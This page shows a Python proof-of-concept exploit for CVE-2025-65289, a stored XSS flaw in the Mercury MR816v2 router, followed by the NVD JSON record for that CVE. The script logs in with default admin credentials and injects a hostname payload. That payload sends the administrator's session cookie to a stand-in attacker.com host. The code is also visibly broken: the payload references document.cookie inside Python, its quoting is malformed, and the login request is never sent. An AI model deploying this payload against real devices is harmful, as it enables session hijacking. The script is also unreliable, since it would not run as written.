CVE-2025-65289

import requests # CVE-2025-65289 PoC - Mercury MR816v2 Stored XSS # Target: Mercury MR816v2 Router (Firmware 4.8.7 Build 110427 Rel 36550n) # Attack Vector: Inject XSS payload in hostname field via LAN access router_ip = "192.168.1.1" # Default Mercury router IP router_user = "admin" # Default admin username router_pass = "admin" # Default admin password # XSS payload to steal admin session xss_payload = '<script>document.location="http://attacker.com/log?c=' + 'cookie=' + document.cookie + '&url=' + document.URL + '</script>' def exploit_stored_xss(): """ Inject malicious hostname containing XSS payload The payload will be stored and executed when admin accesses the management interface """ # Login to router management interface session = requests.Session() login_url = f"http://{router_ip}/login.cgi" login_data = { "username": router_user, "password": router_pass } # Send XSS payload in hostname field # Typical endpoint for DHCP client configuration host_config_url = f"http://{router_ip}/dhcp_client_set.cgi" host_config_data = { "hostname": xss_payload, "action": "save" } response = session.post(host_config_url, data=host_config_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when admin views DHCP client list") print("[*] or triggers DHCP release/renew operation") else: print("[-] Failed to inject payload") if __name__ == "__main__": print("CVE-2025-65289 PoC - Mercury MR816v2 Stored XSS") print("Target: LAN-attached Mercury MR816v2 Router") exploit_stored_xss()

{"cve": {"id": "CVE-2025-65289", "sourceIdentifier": "[email protected]", "published": "2025-12-09T17:15:55.727", "lastModified": "2025-12-12T14:31:38.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross site scripting (XSS) vulnerability in the Mercury MR816v2 (081C3114 4.8.7 Build 110427 Rel 36550n) router allows a remote attacker on the LAN to inject JavaScript into the router's management UI by submitting a malicious hostname. The injected script is stored and later executed in the context of an administrator's browser (for example after DHCP release/renew triggers the interface to display the stored hostname). Because the management interface uses weak/basic authentication and does not properly protect or isolate session material, the XSS can be used to exfiltrate the admin session and perform administrative actions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mercurycom:mr816_firmware:081c3114_4.8.7:build_110427:*:*:*:*:*:*", "matchCriteriaId": "E679E997-793D-4C5A-AD18-DB222D262425"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mercurycom:mr816:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "360C10B2-75DF-445F-B772-0A99A82E1D91"}]}]}], "references": [{"url": "https://damiri.fr/en/cve/CVE-2025-65289", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}